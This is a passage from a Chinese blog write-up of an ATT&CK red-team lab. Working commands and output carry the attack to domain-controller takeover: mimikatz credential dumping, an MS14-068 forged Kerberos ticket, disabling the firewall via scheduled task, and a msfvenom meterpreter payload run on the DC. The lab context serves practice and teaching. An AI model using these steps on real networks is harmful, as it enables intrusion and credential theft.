抓取密码#

  1. MSF加载mimikatz模块

    meterpreter > load kiwi
    Loading extension kiwi...
      .#####.   mimikatz 2.2.0 20191125 (x64/windows)
     .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
     ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
     ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
     '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
      '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/
    
    Success.
  2. 抓取密码

    meterpreter > creds_all
    wdigest credentials
    ===================
    
    Username      Domain  Password
    --------      ------  --------
    (null)        (null)  (null)
    TESTWIN7-PC$  DEMO    /-LDA[1d hf-tfj)O)yNyCgh[o#D[h7I/*-'ShnKX%X7`wWWdrLDd`!EUceLQ8:y!J?TD5KY*iuQ32i8He_D#JyWDWIzuYDDytr)\J7(_e(Fctsjl.Zd"JRr
    douser        DEMO    Dotest123

    抓取域用户douser的密码Dotest123

Win7开启RDP#

  1. 查看权限

    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
  2. 开启RDP服务,使用MSF模块

    meterpreter > run post/windows/manage/enable_rdp 
    
    [*] Enabling Remote Desktop
    [*]     RDP is disabled; enabling it ...
    [*] Setting Terminal Services service startup mode
    [*]     The Terminal Services service is not set to auto, changing it to auto ...
    [*]     Opening port in local firewall if necessary
    [*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20241203215408_default_192.168.183.131_host.windows.cle_035122.txt
  3. 尝试登陆

    proxychains rdesktop 192.168.183.131 -p Dotest123 -u douser

    image.png

    DC上应该是有策略,不允许该用户登录

寻找可利用点#

  1. 在桌面下发现一些常用渗透工具MS14-068 可能是要使用该方法来攻略DC

    c:\Users\douser\Desktop>dir
    dir
     Volume in drive C has no label.
     Volume Serial Number is 605F-F555
    
     Directory of c:\Users\douser\Desktop
    
    2020/01/18  12:40    <DIR>          .
    2020/01/18  12:40    <DIR>          ..
    2020/01/11  15:06             2,189 360极速浏览器.lnk
    2020/01/17  14:53            14,336 artifact.exe
    2020/01/11  16:05             5,406 GetUserSPNs.ps1.ps1
    2015/11/19  04:37         1,192,703 Invoke-DCSync.ps1
    2020/01/11  16:37            47,937 Invoke-Kerberoast.ps1
    2020/01/03  02:22         1,040,136 mimikatz.exe
    2020/01/15  17:12         3,492,558 MS14-068.exe
    2004/02/01  13:23           344,576 NetSess.exe
    2020/01/15  15:39           374,944 PsExec64.exe
    2020/01/16  22:13            53,248 PVEFindADUser.exe
    2020/01/16  22:16               193 report.csv
    2020/01/06  22:05             3,175 RProcdump.ps1
    2020/01/17  15:52             2,897 systeiminfo_win7.txt
    2020/01/16  11:30             1,074 TGT_douser@demo.com.ccache

MS14-068#

  1. 获取用户SID

    首先通过migrateDouser的内存下

    meterpreter > ps
     2116  372   conhost.exe        x64   1        DEMO\douser                   C:\Windows\system32\conhost.exe
     2720  464   taskhost.exe       x64   1        DEMO\douser                   C:\Windows\system32\taskhost.exe
     2784  2852  explorer.exe       x64   1        DEMO\douser                   C:\Windows\Explorer.EXE
     2888  840   dwm.exe            x64   1        DEMO\douser                   C:\Windows\system32\Dwm.exe
    meterpreter > migrate 2784
    [*] Migrating from 836 to 2784...
    [*] Migration completed successfully.

    进入shell模式获取用户SID

    meterpreter > shell
    C:\Windows\system32>whoami /all
    SID                                          
    =========== =============================================
    demo\douser S-1-5-21-979886063-1111900045-1414766810-1107

    S-1-5-21-979886063-1111900045-1414766810-1107

  2. 利用桌面的ms14-068.exe提权工具生成伪造的kerberos协议认证证书

    c:\Users\douser\Desktop>MS14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
    MS14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
      [+] Building AS-REQ for 192.168.183.130... Done!
      [+] Sending AS-REQ to 192.168.183.130... Done!
      [+] Receiving AS-REP from 192.168.183.130... Done!
      [+] Parsing AS-REP from 192.168.183.130... Done!
      [+] Building TGS-REQ for 192.168.183.130... Done!
      [+] Sending TGS-REQ to 192.168.183.130... Done!
      [+] Receiving TGS-REP from 192.168.183.130... Done!
      [+] Parsing TGS-REP from 192.168.183.130... Done!
      [+] Creating ccache file 'TGT_douser@demo.com.ccache'... Done!
  3. 利用mimikatz (桌面上也有)来导入票据

    c:\Users\douser\Desktop>mimikatz.exe
    mimikatz.exe
    
      .#####.   mimikatz 2.2.0 (x64) #18362 Jan  2 2020 19:21:39
     .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
     ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
     ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
     '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
      '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/
    
    mimikatz # kerberos::purge
    Ticket(s) purge for current session is OK
    
    mimikatz # kerberos::list
    
    mimikatz # kerberos::ptc C:\users\douser\Desktop\TGT_douser@demo.com.ccache
    
    Principal : (01) : douser ; @ DEMO.COM
    
    Data 0
               Start/End/MaxRenew: 2024/12/3 22:17:14 ; 2024/12/4 8:17:14 ; 2024/12/10 22:17:14
               Service Name (01) : krbtgt ; DEMO.COM ; @ DEMO.COM
               Target Name  (01) : krbtgt ; DEMO.COM ; @ DEMO.COM
               Client Name  (01) : douser ; @ DEMO.COM
               Flags 50a00000    : pre_authent ; renewable ; proxiable ; forwardable ; 
               Session Key       : 0x00000017 - rc4_hmac_nt      
                 d030a0db75eadb9b5f672b49a11721c9
               Ticket            : 0x00000000 - null              ; kvno = 2        [...]
               * Injecting ticket : OK

    操作分别是:清空当前票据,查看当前票据,导入票据

  4. 查看当前票据

    mimikatz # kerberos::list
    
    [00000000] - 0x00000017 - rc4_hmac_nt      
       Start/End/MaxRenew: 2024/12/3 22:17:14 ; 2024/12/4 8:17:14 ; 2024/12/10 22:17:14
       Server Name       : krbtgt/DEMO.COM @ DEMO.COM
       Client Name       : douser @ DEMO.COM
       Flags 50a00000    : pre_authent ; renewable ; proxiable ; forwardable ;
  5. 尝试通过IPC连接DC

    ps:记得使用主机名,否则默认走NTLM协议

    c:\Users\douser\Desktop>dir \\WIN-ENS2VR5TR3N\c$
    dir \\WIN-ENS2VR5TR3N\c$
     Volume in drive \\WIN-ENS2VR5TR3N\c$ has no label.
     Volume Serial Number is 702B-0D1B
    
     Directory of \\WIN-ENS2VR5TR3N\c$
    
    2009/07/14  11:20    <DIR>          PerfLogs
    2020/01/24  13:30    <DIR>          Program Files
    2020/01/24  13:30    <DIR>          Program Files (x86)
    2019/12/31  11:01    <DIR>          Users
    2020/01/24  13:33    <DIR>          Windows
                   0 File(s)              0 bytes
                   5 Dir(s)  11,366,170,624 bytes free

    成功访问到域控,也算拿下了

上线DC#

  1. win7桌面下还提供呢Psexec64.exe

    c:\Users\douser\Desktop>psexec64 \\WIN-ENS2VR5TR3N.demo.com cmd.exe \ipconfig                            
    psexec64 \\WIN-ENS2VR5TR3N.demo.com cmd.exe \ipconfig                                                    
                                                                                                             
    PsExec v2.2 - Execute processes remotely            
    Copyright (C) 2001-2016 Mark Russinovich                                                                 
    Sysinternals - www.sysinternals.com
                                                                                                             
    Starting cmd.exe on WIN-ENS2VR5TR3N.demo.com...3N.demo.com...demo.com...                                 
    cmd.exe exited on WIN-ENS2VR5TR3N.demo.com with error code 0.  

    但是不知道为什么连不上

  2. 通过计划任务关闭防火墙

    • 新建1.bat文件

      # vim 1.bat
      netsh advfirewall set allprofiles state off
    • 通过MSF上传到靶机win7

      meterpreter > upload ~/Desktop/test/1.bat C:/users/douser/Desktop
      [*] Uploading  : /root/Desktop/test/1.bat -> C:/users/douser/Desktop\1.bat
      [*] Completed  : /root/Desktop/test/1.bat -> C:/users/douser/Desktop\1.bat
    • shell模式将1.bat传到DC

      C:\Windows\system32>copy c:\users\douser\desktop\1.bat \\WIN-ENS2VR5TR3N\c$
      copy c:\users\douser\desktop\1.bat \\WIN-ENS2VR5TR3N\c$
              1 file(s) copied.
    • 创建计划任务关闭防火墙(ST是时间,也可以调成手动运行)

      schtasks /create /S WIN-ENS2VR5TR3N /TN "test1" /TR c:/1.bat /SC ONCE /ST 22:49 /ru system /f
  3. 通过计划任务上线DC

    • msfvenom生成exe

      msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.183.130 LPORT=2345 -f exe > shell.exe
    • 用上面的方式上传exe马到DC

    • Kali监听

      msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/multi/handler 
      msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
      msf6 exploit(multi/handler) > set lport 2345
      msf6 exploit(multi/handler) > set rhost 192.168.183.130
      msf6 exploit(multi/handler) > run
    • 通过计划任务执行shell.exe

      schtasks /create /S WIN-ENS2VR5TR3N /TN "test1" /TR c:/shell.exe /SC ONCE /ST 23:03 /ru system /f
    • 成功上线MSF

      msf6 exploit(multi/handler) > run
      
      [*] Started bind TCP handler against 192.168.183.130:2345
      [*] Sending stage (201798 bytes) to 192.168.183.130
      [*] Meterpreter session 1 opened (127.0.0.1:44267 -> 127.0.0.1:1080) at 2024-12-03 23:13:39 +0800
      
      meterpreter > 
    • 然后通过mimikatz读取密码

      image.png

      拿到域管理员密码

ATT&CK红队评估实战靶场(四)
https://sunset-blog.top/posts/attck红队评估实战靶场四/
作者
Sunset
发布于
2025-03-09
许可协议
CC BY-NC-SA 4.0